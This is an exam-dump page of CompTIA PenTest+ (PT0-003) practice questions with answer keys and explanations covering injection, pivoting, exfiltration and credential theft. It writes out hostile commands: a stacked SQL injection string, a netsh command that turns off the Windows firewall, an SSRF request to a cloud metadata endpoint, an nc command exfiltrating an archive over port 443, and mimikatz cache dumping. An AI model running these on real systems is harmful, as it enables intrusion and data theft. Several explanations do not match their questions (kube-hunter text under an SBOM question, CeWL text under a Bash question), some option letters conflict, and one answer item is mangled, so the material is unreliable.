Study HIGH Quality PT0-003 Free Study Guides and Exams Tutorials
Download CompTIA PT0-003 Exam Dumps to Pass Exam Easily
NEW QUESTION # 73
A penetration tester is looking for vulnerabilities within a company's web application that are in scope. The penetration tester discovers a login page and enters the following string in a field:
1;SELECT Username, Password FROM Users;
Which of the following injection attacks is the penetration tester using?
- A. Error-based
- B. Stacked queries
- C. Boolean SQL
- D. Blind SQL
Answer: B
Explanation:
The penetration tester is using a type of injection attack called stacked queries, which means appending multiple SQL statements separated by semicolons in a single input field. This can allow the penetration tester to execute arbitrary SQL commands on the database server, such as selecting username and password from users table.
NEW QUESTION # 74
During a penetration test, a tester attempts to pivot from one Windows 10 system to another Windows system.
The penetration tester thinks a local firewall is blocking connections. Which of the following command-line utilities built into Windows is most likely to disable the firewall?
- A. msconfig.exe
- B. certutil.exe
- C. bitsadmin.exe
- D. netsh.exe
Answer: D
Explanation:
* Understanding netsh.exe:
* Purpose: Configures network settings, including IP addresses, DNS, and firewall settings.
* Firewall Management: Can enable, disable, or modify firewall rules.
* Disabling the Firewall:
* Command: Use netsh.exe to disable the firewall.
netsh advfirewall set allprofiles state off
* Usage in Penetration Testing:
* Pivoting: Disabling the firewall can help the penetration tester pivot from one system to another by removing network restrictions.
* Command Execution: Ensure the command is executed with appropriate privileges.
* References from Pentesting Literature:
* netsh.exe is commonly mentioned in penetration testing guides for configuring network settings and managing firewalls.
* HTB write-ups often reference the use of netsh.exe for managing firewall settings during network- based penetration tests.
NEW QUESTION # 75
A penetration tester writes the following script:
Which of the following is the tester performing?
- A. Scanning a network for specific open ports
- B. Trying to recover a lost bind shell
- C. Building a reverse shell listening on specified ports
- D. Searching for service vulnerabilities
Answer: A
Explanation:
-z zero-I/O mode [used for scanning]
-v verbose
example output of script:
10.0.0.1: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.0.1] 22 (ssh) open
(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out
https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for
NEW QUESTION # 76
Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?
- A. Pins
- B. Shackle
- C. Plug
- D. Latches
Answer: A
Explanation:
In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here's a detailed breakdown:
* Components of a Pin Tumbler Lock:
* Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these pins.
* Driver Pins: These are pushed by the springs and sit between the key pins and the springs.
* Springs: These apply pressure to the driver pins.
* Plug: This is the part of the lock that the key is inserted into and turns when the correct key is used.
* Cylinder: The housing for the plug and the pins.
* Operation:
* When the correct key is inserted, the key pins are pushed up by the key's cuts to align with the shear line (the gap between the plug and the cylinder).
* The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.
* The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If any pin is not correctly aligned, the lock will not open.
* Illustration in Lock Picking:
* Lock picking involves manipulating the pins so they align at the shear line without the key. This demonstrates the critical role of pins in the functioning of the lock.
NEW QUESTION # 77
A penetration tester has found a web application that is running on a cloud virtual machine instance.
Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter.
Which of the following commands should the tester run to successfully test for secrets exposure exploitability?
- A. curl '<url>?param=<script>alert(1)<script>/'
- B. curl <url>?param=http://169.254.169.254/latest/meta-data/
- C. curl <url>?param=http://127.0.0.1/
- D. curl '<url>?param=http://127.0.0.1/etc/passwd'
Answer: B
Explanation:
In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here's why the specified command is appropriate:
* Accessing Cloud Metadata Service:
* URL:
http://169.254.169.254/latest/meta-data/ is a well-known endpoint in cloud environments (e.g., AWS) to access instance metadata.
* Purpose: By exploiting SSRF to access this URL, an attacker can retrieve sensitive information such as instance credentials and other metadata.
* Comparison with Other Commands:
* 127.0.0.1/etc/passwd: This is more about local file inclusion, not specific to cloud metadata.
* <script>alert(1)</script>: This tests for XSS, not SSRF.
* 127.0.0.1: This is a generic loopback address and does not specifically test for metadata access in a cloud environment.
Using curl <url>?param=http://169.254.169.254/latest/meta-data/
is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.
NEW QUESTION # 78
A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?
- A. DAST
- B. SAST
- C. IAST
- D. SBOM
Answer: B
Explanation:
kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here's why option B is correct:
Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.
Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.
Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
Reference from Pentest:
Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.
NEW QUESTION # 79
Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?
- A. Nessus
- B. Ethercap
- C. Burp Suite
- D. Metasploit
Answer: D
NEW QUESTION # 80
Penetration tester is developing exploits to attack multiple versions of a common software package. The versions have different menus and )ut.. they have a common log-in screen that the exploit must use. The penetration tester develops code to perform the log-in that can be each of the exploits targeted to a specific version. Which of the following terms is used to describe this common log-in code example?
- A. Library
- B. Sub application
- C. Conditional
- D. Dictionary
Answer: A
Explanation:
The term that is used to describe the common log-in code example is library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package. The other options are not valid terms that describe the common log-in code example.
Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements. Dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.
NEW QUESTION # 81
A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:
Action | SRC
| DEST
| --
Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP
Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP
Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP
Block | . | . | *
Which of the following commands should the tester try next?
- A. gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
- B. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
- C. gzip /path/to/data && cp data.gz <remote_server> 443
- D. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
Answer: D
Explanation:
Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:
Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).
Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).
Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).
Block: All other traffic (*).
Breakdown of Options:
Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.
Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.
Option B: gzip /path/to/data && cp data.gz <remote_server> 443
This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.
Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22 This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.
Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server> This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.
Reference from Pentest:
Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.
Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.
Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.
NEW QUESTION # 82
A penetration tester wrote the following Bash script to brute force a local service password:
..ting as expected. Which of the following changes should the penetration tester make to get the script to work?
- A. ..e
cho "The correct password is $p" && break)
ho "The correct password is $p" I| break - B. .e
cho "The correct password is $p" && break)
o "The correct password is $p" I break - C. .
{ echo "The correct password is $p" && break )
With - D. e
cho "The correct password is Sp" && break)
echo "The correct password is $p" && break) - E. ( echo "The correct password is $p" && break )
Answer: B
Explanation:
CeWL is a tool that can be used to crawl a website and build a wordlist using the data recovered to crack the password on the website. CeWL stands for Custom Word List generator, and it is a Ruby script that spiders a given website up to a specified depth and returns a list of words that can be used for password cracking or other purposes. CeWL can also generate wordlists based on metadata, email addresses, author names, or external links found on the website. CeWL can help a penetration tester create customized wordlists that are tailored to the target website and increase the chances of success for password cracking attacks. DirBuster is a tool that can be used to brute force directories and files names on web servers. w3af is a tool that can be used to scan web applications for vulnerabilities and exploits. Patator is a tool that can be used to perform brute force attacks against various protocols and services.
NEW QUESTION # 83
You are a penetration tester reviewing a client's website through a web browser.
INSTRUCTIONS
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
Explanation:
A screenshot of a computer Description automatically generated
NEW QUESTION # 84
A company has hired a penetration tester to deploy and set up a rogue access point on the network.
Which of the following is the BEST tool to use to accomplish this goal?
- A. Wireshark
- B. Kismet
- C. Aircrack-ng
- D. Wifite
Answer: C
Explanation:
Reference:
https://null-byte.wonderhowto.com/how-to/hack-wi-fi-stealing-wi-fi-passwords-with-evil-twin-attack-0183880/
https://thecybersecurityman.com/2018/08/11/creating-an-evil-twin-or-fake-access-point-using-aircrack-ng-and-
NEW QUESTION # 85
A penetration tester is testing a power plant's network and needs to avoid disruption to the grid. Which of the following methods is most appropriate to identify vulnerabilities in the network?
- A. Run a network mapper tool to get an understanding of the devices.
- B. Configure a port mirror and review the network traffic.
- C. Configure a network scanner engine and execute the scan.
- D. Execute a testing framework to validate vulnerabilities on the devices.
Answer: B
Explanation:
When testing a power plant's network and needing to avoid disruption to the grid, configuring a port mirror and reviewing the network traffic is the most appropriate method to identify vulnerabilities without causing disruptions.
Port Mirroring:
Definition: Port mirroring (SPAN - Switched Port Analyzer) is a method of monitoring network traffic by duplicating packets from one or more switch ports to another port where a monitoring device is connected.
Purpose: Allows passive monitoring of network traffic without impacting network operations or device performance.
Avoiding Disruption:
Non-Intrusive: Port mirroring is non-intrusive and does not generate additional traffic or load on the network devices, making it suitable for sensitive environments like power plants where disruption is not acceptable.
Other Options:
Network Scanner Engine: Active scanning might disrupt network operations or devices, which is not suitable for critical infrastructure.
Testing Framework: Validating vulnerabilities on devices might involve active testing, which can be disruptive.
Network Mapper Tool: Running a network mapper tool (like Nmap) actively scans the network and might disrupt services.
Pentest Reference:
Passive Monitoring: Passive techniques such as port mirroring are essential in environments where maintaining operational integrity is critical.
Critical Infrastructure Security: Understanding the need for non-disruptive methods in critical infrastructure penetration testing to ensure continuous operations.
By configuring a port mirror and reviewing network traffic, the penetration tester can identify vulnerabilities in the power plant's network without risking disruption to the grid.
NEW QUESTION # 86
A penetration tester needs to obtain sensitive data from several executives who regularly work while commuting by train. Which of the following methods should the tester use for this task?
- A. Bluetooth spamming
- B. MFA fatigue
- C. Shoulder surfing
- D. Credential harvesting
Answer: C
Explanation:
Shoulder surfinges el metodo mas efectivo en este contexto.Cuando los ejecutivos trabajan en lugares publicos como trenes, un atacante puede visualizar sus pantallas sin ser detectado para recopilar datos confidenciales.
Credential harvesting requiere phishing o explotacion directa. Bluetooth spamming y MFA fatigue no aplican directamente en un entorno de observacion fisica.
Referencia:PT0-003 Objective 2.1 - Social engineering and physical observation methods.
NEW QUESTION # 87
Which of the following types of information would most likely be included in an application security assessment report addressed to developers? (Select two).
- A. Use of deprecated Javadoc tags
- B. A cyclomatic complexity score of 3
- C. Non-compliance with code style guide
- D. Null pointer dereferences
- E. Poor input sanitization
- F. Use of non-optimized sort functions
Answer: D,E
Explanation:
An application security assessment report aimed at developers typically includes information critical to understanding and improving the security and stability of the application. Poor input sanitization and null pointer dereferences are two such issues that are directly related to application security and can lead to significant vulnerabilities such as injection attacks or crashes. Poor input sanitization exposes the application to various forms of injection attacks, where an attacker could supply malicious input to gain unauthorized access or disrupt application services. Null pointer dereferences, on the other hand, can lead to application crashes or unexpected behavior, which can be exploited to compromise application security or availability.
Highlighting these issues helps developers focus on areas that need immediate attention to enhance the application's security posture.
NEW QUESTION # 88
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS
Select the tool the penetration tester should use for further investigation.
Select the two entries in the robots.txt file that the penetration tester should recommend for removal.
Answer:
Explanation:
The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.
The two entries in the robots.txt file that the penetration tester should recommend for removal are:
* Allow: /admin
* Allow: /wp-admin
These entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application's backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.
NEW QUESTION # 89
A compliance-based penetration test is primarily concerned with:
- A. obtaining Pll from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.
Answer: C
NEW QUESTION # 90
During an engagement, a penetration tester wants to enumerate users from Linux systems by using finger and rwho commands. However, the tester realizes these commands alone will not achieve the desired result. Which of the following is the best tool to use for this task?
- A. Burp Suite
- B. Nikto
- C. theHarvester
- D. smbclient
Answer: D
Explanation:
The smbclient tool is used to access SMB/CIFS resources on a network. It allows penetration testers to connect to shared resources and enumerate users on a network, particularly in Windows environments. While finger and rwho are more common on Unix/Linux systems, smbclient provides better functionality for enumerating users across a network.
Step-by-Step Explanation
Understanding smbclient:
Purpose: smbclient is used to access and manage files and directories on SMB/CIFS servers.
Capabilities: It allows for browsing shared resources, listing directories, downloading and uploading files, and enumerating users.
User Enumeration:
Command: Use smbclient with the -L option to list available shares and users.
smbclient -L //target_ip -U username
Example: Enumerating users on a target system.
smbclient -L //192.168.50.2 -U anonymous
Advantages:
Comprehensive: Provides detailed information about shared resources and users.
Cross-Platform: Can be used on both Linux and Windows systems.
Reference from Pentesting Literature:
SMB enumeration is a common practice discussed in penetration testing guides for identifying shared resources and users in a network environment.
HTB write-ups frequently mention the use of smbclient for enumerating network shares and users.
Reference:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
NEW QUESTION # 91
A tester wants to pivot from a compromised host to another network with encryption and the least amount of interaction with the compromised host. Which of the following is the best way to accomplish this objective?
- A. Create an SSH tunnel using sshuttle to forward all the traffic to the compromised computer.
- B. Create a Netcat connection to the compromised computer and forward all the traffic to the target network.
- C. Set up a Metasploit listener on the compromised computer and create a reverse shell on the target network.
- D. Configure a VNC server on the target network and access the VNC server from the compromised computer.
Answer: A
Explanation:
Pivoting allows attackers to use a compromised host as a gateway to access internal resources.
* Create an SSH tunnel using sshuttle (Option A):
* sshuttle creates a transparent VPN-like connection over SSH, allowing the tester to forward traffic securely.
* Advantages:
* Provides encryption, preventing IDS/IPS detection.
* Requires minimal interaction with the compromised host.
NEW QUESTION # 92
A penetration tester successfully clones a source code repository and then runs the following command:
find . -type f -exec egrep -i "token|key|login" {} \;
Which of the following is the penetration tester conducting?
- A. Source code analysis
- B. Secrets scanning
- C. Password spraying
- D. Data tokenization
Answer: B
Explanation:
Penetration testers search for hardcoded credentials, API keys, and authentication tokens in source code repositories to identify secrets leakage.
* Secrets scanning (Option B):
* The find and egrep command scans all files recursively for sensitive keywords like "token,"
"key," and "login".
* Attackers use tools like TruffleHog and GitLeaks to automate secret discovery.
NEW QUESTION # 93
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 94
Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?
- A. Patator
- B. DirBuster
- C. CeWL
- D. w3af
Answer: C
Explanation:
CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.
https://esgeeks.com/como-utilizar-cewl/
NEW QUESTION # 95
During a penetration test, a tester compromises a Windows computer. The tester executes the following command and receives the following output:
mimikatz # privilege::debug
mimikatz # lsadump::cache
---Output---
lapsUser
27dh9128361tsg2€459210138754ij
---OutputEnd---
Which of the following best describes what the tester plans to do by executing the command?
- A. The tester plans to collect the ticket information from the user to perform a Kerberoasting attack on the domain controller.
- B. The tester plans to perform the first step to execute a Golden Ticket attack to compromise the Active Directory domain.
- C. The tester plans to collect application passwords or hashes to compromise confidential information within the local computer.
- D. The tester plans to use the hash collected to perform lateral movement to other computers using a local administrator hash.
Answer: D
Explanation:
The tester is using Mimikatz to dump cached credentials from Local Security Authority (LSA) memory.
* Pass-the-Hash (Option C):
* The tester extracts cached credentials to authenticate without cracking passwords.
* Pass-the-Hash (PtH) allows lateral movement by reusing the NTLM hash on other systems.
NEW QUESTION # 96
A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?
- A. BeEF
- B. Evilginx
- C. John the Ripper
- D. ZAP
Answer: A
Explanation:
BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It has built-in functionality for generating malicious QR codes, which can be used to direct users to malicious websites, execute browser-based attacks, or gather information.
NEW QUESTION # 97
Which of the following attacks allows an attacker to intercept and modify communication between two parties by associating their MAC address with the IP address of a legitimate device?
- A. ARP poisoning
- B. SYN flooding
- C. DNS spoofing
- D. VLAN hopping
Answer: A
Explanation:
An on-path attack (previously known as MITM - Man-in-the-Middle) allows an attacker to intercept and modify communication between two parties.
* ARP poisoning (Option B):
* Attackers send fake ARP replies to associate their MAC address with the IP address of a legitimate device (e.g., gateway).
* This forces traffic to flow through the attacker's system, enabling packet capture and manipulation.
* Tools like Ettercap, Bettercap, and ARP spoofing scripts are commonly used.
NEW QUESTION # 98
......
CompTIA PT0-003 Exam Syllabus Topics:
| Topic | Details |
|---|---|
| Topic 1 |
|
| Topic 2 |
|
| Topic 3 |
|
| Topic 4 |
|
| Topic 5 |
|
Get 100% Real Free CompTIA PenTest+ PT0-003 Sample Questions: https://www.examboosts.com/CompTIA/PT0-003-practice-exam-dumps.html
Accurate PT0-003 Questions with Free and Fast Updates: https://drive.google.com/open?id=1HFcM2RQJPPMhz9pjyU3TdjrkYwfprsmE